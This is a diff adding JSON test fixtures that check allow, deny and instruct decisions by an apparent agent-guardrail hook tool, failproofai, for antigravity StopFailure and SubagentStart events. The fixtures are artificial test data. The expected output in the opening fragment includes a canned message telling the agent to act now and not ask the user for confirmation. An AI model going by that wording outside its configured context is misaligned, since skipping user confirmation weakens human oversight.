"parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8f1b00e6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dcfdf77a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cc58796d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b2e98b1d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..178da707 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ffd96231 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1c48b292 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f0bf91f8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..121d9165 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4de6307b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c08ae9cd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..04ec1de7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3c8c94ac --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b763ebb2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cfcd7da3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..052b54b5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..81a8690c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d11b9708 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7e84bcfd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..58c1ca87 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": 